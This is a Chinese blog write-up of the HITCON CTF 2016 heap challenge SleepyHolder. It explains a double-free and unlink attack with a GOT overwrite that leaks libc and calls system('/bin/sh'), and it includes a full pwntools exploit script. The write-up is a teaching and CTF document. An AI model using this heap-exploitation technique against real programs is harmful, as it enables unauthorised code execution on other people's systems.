Hitcon2016-SleepyHolder writeup

题目描述

题目来源:HITCON CTF 2016
知识点:unlink、double free
这道题提供了3个功能,添加秘密、删除秘密、重写秘密。秘密分为3种:small、big、huge。其中huge秘密一旦写入再也不能改也不能删。题目中没有提供输出秘密的功能。

1
2
3
4
5
6
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1.Keep secret
2.Wipe secret
3.Renew secret

程序保护如下

1
2
3
4
5
6
[*] '/home/nick/pwn_learn/heapLearn/fastbinAtk/Hitcon2016_SleepyHolder/SleepyHolder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

程序概况

keep函数:

1
2
3
4
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever

根据选择不同的secret申请不同大小的内存,分别是40、4000、400000个字节。其中每个大小的chunk只能申请一次。

wipe函数:

1
2
3
4
5
6
7
8
9
10
if ( v0 == 1 )
{
free(buf);
dword_6020E0 = 0;
}
else if ( v0 == 2 )
{
free(qword_6020C0);
dword_6020D8 = 0;
}

只能删除small和big两种secret。free之后没有清空指针,存在double free漏洞

renew函数:
同样只能重写small和big两种secret,因为会检查是否使用的标记,所以不能UAF

漏洞分析

double free

因为free之后没有清空指针,所以可以造成double free漏洞。这里double free可以用于辅助unlink。

修改inuse位

  1. 依次分配small和big两个secret,然后释放掉small secret,small secret将进入fast bin。
  2. 此时再申请large secret。由于这是一个large chunk,会先利用malloc_consolidate处理fastbin中的chunk,将能合并的chunk合并后放入unsortedbin,不能合并的就直接放到unsortedbin,这样的目的是减少堆中的碎片。所以small secret将会进入unsorted bin,于此同时,big secret的inuse位也将会被置0
  3. 再次释放small secret。因为之前释放的small secret已经不在fast bin中,所以此时不会被检测到double free。
  4. 申请small secret。从fast bin中取回small secret。这样就达到了修改inuse位的目的

前提知识:由于堆块的复用机制,当前一个chunk还在被使用时,后一个chunk的prevsize是归属于前一chunk,作为前一个chunk的数据区域。

程序中,small secret的大小为0x28,刚好可以利用到下一个chunk的prevsize。如下:

1
2
3
4
5
6
7
0x6032e0:	0x0000000000000000	0x0000000000000031 <== small secret
0x6032f0: 0x6161616161616161 0x6161616161616161
0x603300: 0x6161616161616161 0x6161616161616161
0x603310: **0x0a61616161616161** 0x0000000000000fb1 <== big secret
0x603320: 0x6262626262626262 0x6262626262626262
0x603330: 0x6262626262626262 0x6262626262626262
0x603340: 0x6262626262626262 0x000000000000000a

所以可以通过double free来改变big secret的inuse位,又可以控制big secret的prevsize,且堆指针是全局变量,可以成功实现unlink。

漏洞利用

  1. 按照前文方法修改inuse位
  2. 在small secret构造一个fake chunk,并修改big chunk的prevsize
  3. 释放big secret,触发unlink
  4. 通过覆盖堆指针,将free_got覆写为puts_plt,泄露出atoi_got的地址,从而计算出libc的基址
  5. 算出system的地址,并将其写入free_got
  6. 调用free,成功getshell

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./SleepyHolder')

elf = ELF('./SleepyHolder')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')

def add(index, content):
p.recvuntil('3. Renew secret\n')
p.sendline('1')
p.recvuntil('\n')
p.sendline(str(index))
p.recvuntil('secret: \n')
p.send(content)

def delete(index):
p.recvuntil('3. Renew secret\n')
p.sendline('2')
p.recvuntil('2. Big secret\n')
p.send(str(index))

def update(index, content):
p.recvuntil('3. Renew secret\n')
p.sendline('3')
p.recvuntil('2. Big secret\n')
p.sendline(str(index))
p.recvuntil('secret: \n')
p.send(content)

#分配chunk1 chunk2
add(1, 'a'*0x10)
add(2, 'b'*0x10)
#释放chunk1
delete(1)
#分配chunk3,让chunk1被移动到unsorted bin,使chunk2的inuse位变为0
add(3, 'c'*0x10)
#这时再释放chunk1,让chunk1重新进入fast bin
delete(1)

heap_ptr = 0x6020d0 #堆指针
#准备unlink,在chunk1中伪造chunk
payload = p64(0) + p64(0x21)
payload += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
payload += p64(0x20)#因为内存复用,这里设置chunk2的prev_size
add(1, payload)
#此时chunk2的inuse位是0,所以触发unlink
delete(2)

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts = elf.symbols['puts']
system_off = libc.symbols['system']
atoi_off = libc.symbols['atoi']

#unlink后 堆指针被修改,向现在指针所指内存写入数据
#将chunk2指针覆盖为atoi_got
#将chunk3指针覆盖为puts_got
#将chunk1指针覆盖为free_got
payload = p64(0) + p64(atoi_got)
payload += p64(puts_got) + p64(free_got)
update(1, payload)
#再次向chunk1写入,相当于向free_got写入
#这里将free_got写为puts
update(1, p64(puts))

#删除chunk2,但是free的got表已经被写为puts,所以这里实际调用puts(chunk2)
#因为chunk2指针被覆盖为atoi_got,所以输出的是atoi的实际地址
#由此可计算出libc_base
delete(2)
libc_base = u64(p.recv(6) + '\x00\x00') - atoi_off#通过调试发现,这里只能取6个字节
print "libc_base : %#x" % libc_base
system = libc_base + system_off

#将free的got表写为system
update(1, p64(system))
#向chunk2中写入binsh 释放chunk2时 chunk2的内容会作为参数
add(2, '/bin/sh\x00')
delete(2)

p.interactive()

相关链接

题目链接:SleepyHolder
exp参考:how2heaphttps://blog.csdn.net/qq_33528164/article/details/80040197

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/e99b1303.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏